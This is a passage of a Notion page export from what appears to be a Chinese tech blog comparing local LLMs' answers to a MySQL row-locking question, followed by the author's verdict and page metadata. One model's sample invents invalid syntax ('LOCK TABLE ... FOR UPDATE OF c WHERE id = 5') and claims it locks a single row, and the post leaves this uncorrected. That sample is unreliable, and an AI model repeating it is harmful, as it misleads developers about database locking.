acquire a lock on a specific row or set of rows without using the "],["FOR UPDATE",[["c"]]],[" clause, you can use the "],["LOCK TABLE",[["c"]]],[" statement in MySQL. This statement allows you to acquire an exclusive lock on a table for a specified period of time, preventing any other threads from accessing the table during that time."]]},"created_time":1711431486624,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"9b400751-4342-4a08-b4a4-df5993d548f1":{"value":{"id":"9b400751-4342-4a08-b4a4-df5993d548f1","type":"text","properties":{"title":[["Here is an example of how to use "],["LOCK TABLE",[["c"]]],[" to acquire a lock on a specific row:"]]},"created_time":1711431486624,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"36ff61ac-481c-4f1f-9f17-6966b6e9789e":{"value":{"id":"36ff61ac-481c-4f1f-9f17-6966b6e9789e","type":"code","properties":{"title":[["LOCK TABLE t FOR UPDATE OF c WHERE id = 5;\n"]],"language":[["SQL"]]},"format":{"code_wrap":true},"created_time":1711431486631,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"aac21867-aa33-4037-93e3-03b5f0ca84f9":{"value":{"id":"aac21867-aa33-4037-93e3-03b5f0ca84f9","type":"text","properties":{"title":[["This will acquire an exclusive lock on the row with "],["id = 5",[["c"]]],[" in the table "],["t",[["c"]]],[", preventing any other threads from updating or reading that row until the lock is released."]]},"created_time":1711431486631,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"2834c258-d3b3-48ce-9e95-8a21b18053f8":{"value":{"id":"2834c258-d3b3-48ce-9e95-8a21b18053f8","type":"text","properties":{"title":[["Note that the "],["LOCK TABLE",[["c"]]],[" statement can be used to acquire locks on multiple rows or tables, and it can also be used to acquire locks for longer periods of time than the default isolation level. However, it is important to use this statement judiciously and only when necessary to avoid contention and deadlocks."]]},"created_time":1711431486631,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"6e0e38e9-7774-4f49-9fbb-67e52a21593d":{"value":{"id":"6e0e38e9-7774-4f49-9fbb-67e52a21593d","type":"sub_header","properties":{"title":[["starcoder2:15b"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711361049703,"last_edited_time":1711431711891,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"61c6bed7-36e1-43d5-bdc1-c281e9fcbdb2":{"value":{"id":"61c6bed7-36e1-43d5-bdc1-c281e9fcbdb2","type":"text","properties":{"title":[["thank youusername_1: You are looking for a tool called "],["VisualVM",[["a","http://visualvm.java.net/"]]],[". It is part of the JDK and it allows you to connect to running java applications and view their memory consumption, threads etc.\nUpvotes: 2 username_2: Have a look at the Eclipse Memory Analyzer (MAT) plugin ("],["http://www.eclipse.org/mat/",[["a","http://www.eclipse.org/mat/"]]],["), there's a video that shows how to use it: "],["http://vimeo.com/7698540",[["a","http://vimeo.com/7698540"]]],["\nUpvotes: 3 [selected_answer]username_3: I like JProfiler for this kind of thing. It has a very intuitive GUI and gives you the information you need in a way that makes sense."]]},"created_time":1711431499545,"last_edited_time":1711431499547,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"926cfd3e-8b8e-4b25-b780-3aedf4064879":{"value":{"id":"926cfd3e-8b8e-4b25-b780-3aedf4064879","type":"text","properties":{"title":[["http://www.ej-technologies.com/products/jprofiler/overview.html",[["a","http://www.ej-technologies.com/products/jprofiler/overview.html"]]],["\nUpvotes: 1 username_4: I have found "],["JProfiler",[["a","http://www.ej-technologies.com/"]]],[" to be very useful for this. It has a nice UI and is easy to use.\nUpvotes: 0"]]},"created_time":1711431499545,"last_edited_time":1711431499547,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"9d06ce11-437e-4aef-8661-c6551d358cf5":{"value":{"id":"9d06ce11-437e-4aef-8661-c6551d358cf5","type":"sub_header","properties":{"title":[["llama2:13b"]]},"created_time":1711361530044,"last_edited_time":1711431714948,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"eecdbd14-19a7-4050-ab78-a5c5044e1336":{"value":{"id":"eecdbd14-19a7-4050-ab78-a5c5044e1336","type":"text","properties":{"title":[["Ah, I see! You're trying to understand the locking mechanism in MySQL when using the "],["FOR UPDATE",[["c"]]],[" clause. 🔒"]]},"created_time":1711431505871,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"202e55b5-762e-4ef1-90b0-2cc0ae26a99b":{"value":{"id":"202e55b5-762e-4ef1-90b0-2cc0ae26a99b","type":"text","properties":{"title":[["When you execute a query like "],["SELECT * FROM t WHERE c = 5 FOR UPDATE",[["c"]]],[", MySQL acquires a lock on the rows that match the condition "],["c = 5",[["c"]]],[". This lock is called an \"X-lock\" or \"exclusive lock,\" which means that no other session can modify those rows until the current session releases the lock. 🔒"]]},"created_time":1711431505871,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"995338cf-4874-48b5-a462-ea834bd6b31b":{"value":{"id":"995338cf-4874-48b5-a462-ea834bd6b31b","type":"text","properties":{"title":[["The locking mechanism in MySQL is based on the InnoDB storage engine, which uses a technique called \"pessimistic locking.\" This means that when a session wants to acquire a lock on a row, it first checks whether the row is already locked by another session. If the row is not locked, the session acquires the lock and prevents other sessions from acquiring the same lock until it releases the lock. 🔒"]]},"created_time":1711431505871,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"bd7b81b2-82bd-4a81-950c-37ebef55f856":{"value":{"id":"bd7b81b2-82bd-4a81-950c-37ebef55f856","type":"text","properties":{"title":[["Now, to answer your questions:"]]},"created_time":1711431505871,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"009e62c7-e513-4e3e-a0bb-731c95f0d22a":{"value":{"id":"009e62c7-e513-4e3e-a0bb-731c95f0d22a","type":"numbered_list","properties":{"title":[["The process of locking: When a session executes a query with the "],["FOR UPDATE",[["c"]]],[" clause, MySQL first checks whether the rows that match the condition are already locked by another session. If the rows are not locked, the current session acquires the lock and prevents other sessions from acquiring the same lock until it releases the lock."]]},"created_time":1711431505871,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"8b44dcb2-d944-4983-9c68-ff1d8e23825b":{"value":{"id":"8b44dcb2-d944-4983-9c68-ff1d8e23825b","type":"numbered_list","properties":{"title":[["The time of release lock: When a session releases the lock on a row or set of rows, the lock is immediately released, and other sessions can then acquire the lock again. There is no specific \"time of release\" for locks in MySQL; instead, the lock is released as soon as the current session commits or rolls back the transaction. 🔒"]]},"created_time":1711431505872,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"f9d3a393-9d76-4add-88b5-3f03e58614af":{"value":{"id":"f9d3a393-9d76-4add-88b5-3f03e58614af","type":"text","properties":{"title":[["I hope this helps clarify the locking mechanism in MySQL! Let me know if you have any other questions or concerns. 😊"]]},"created_time":1711431505872,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"440e5ba9-2309-4223-9df2-50ca1b67e237":{"value":{"id":"440e5ba9-2309-4223-9df2-50ca1b67e237","type":"header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833151,"last_edited_time":1711360982676,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"04273a50-0752-4c70-a1c5-d63b004d565a":{"value":{"id":"04273a50-0752-4c70-a1c5-d63b004d565a","type":"bulleted_list","properties":{"title":[["llama2效果不错,starcoder2不知所云"]]},"format":{"copied_from_pointer":{"id":"329c1926-8152-47e6-ab18-8817f4ee4d09","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833151,"last_edited_time":1711431747530,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"329c1926-8152-47e6-ab18-8817f4ee4d09"}},"58f477d0-e338-4fe8-9cf2-e0a3264bf5cf":{"value":{"id":"58f477d0-e338-4fe8-9cf2-e0a3264bf5cf","type":"bulleted_list","properties":{"title":[["m1pro+32g环境下,4b模型在本地运行速度还可以,15b运行起来就特别吃力"]]},"created_time":1711432113232,"last_edited_time":1711432147190,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"e1da917b-bb71-4252-9f5f-d1c997b18551":{"value":{"id":"e1da917b-bb71-4252-9f5f-d1c997b18551","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"9e9a91b1-4853-4e82-be32-ac8af17739b0":{"value":{"id":"9e9a91b1-4853-4e82-be32-ac8af17739b0","type":"column_list","content":["efee572a-8601-404e-9dfb-74c4f2f669bc","3147a22c-843a-46c3-a4d0-89eb62b6bd7e","d8150945-8bbf-4df1-8e0e-dea8d8f5e04e"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"efee572a-8601-404e-9dfb-74c4f2f669bc":{"value":{"id":"efee572a-8601-404e-9dfb-74c4f2f669bc","type":"column","content":["4d04175f-a93b-49b6-a609-74961770136f"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"9e9a91b1-4853-4e82-be32-ac8af17739b0","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"3147a22c-843a-46c3-a4d0-89eb62b6bd7e":{"value":{"id":"3147a22c-843a-46c3-a4d0-89eb62b6bd7e","type":"column","content":["1fe1e95a-cd49-421a-b7a7-916a18f2655d","17ce2e3c-f255-464e-8b1d-64ab9c7648c3"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"9e9a91b1-4853-4e82-be32-ac8af17739b0","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"d8150945-8bbf-4df1-8e0e-dea8d8f5e04e":{"value":{"id":"d8150945-8bbf-4df1-8e0e-dea8d8f5e04e","type":"column","content":["57be63c6-8825-4b09-ab16-3014cdee1119"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"9e9a91b1-4853-4e82-be32-ac8af17739b0","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"4d04175f-a93b-49b6-a609-74961770136f":{"value":{"id":"4d04175f-a93b-49b6-a609-74961770136f","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"efee572a-8601-404e-9dfb-74c4f2f669bc","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"1fe1e95a-cd49-421a-b7a7-916a18f2655d":{"value":{"id":"1fe1e95a-cd49-421a-b7a7-916a18f2655d","type":"text","properties":{"title":[["\n",[["i"]]],["        是在往前走就好",[["i"],["b"]]],["\n        ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"3147a22c-843a-46c3-a4d0-89eb62b6bd7e","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"57be63c6-8825-4b09-ab16-3014cdee1119":{"value":{"id":"57be63c6-8825-4b09-ab16-3014cdee1119","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1711360833153,"last_edited_time":1711360833153,"parent_id":"d8150945-8bbf-4df1-8e0e-dea8d8f5e04e","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"17ce2e3c-f255-464e-8b1d-64ab9c7648c3":{"value":{"id":"17ce2e3c-f255-464e-8b1d-64ab9c7648c3","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"3147a22c-843a-46c3-a4d0-89eb62b6bd7e","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"189b1da9-975a-42da-a706-02494cb76d01":{"value":{"id":"189b1da9-975a-42da-a706-02494cb76d01","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"}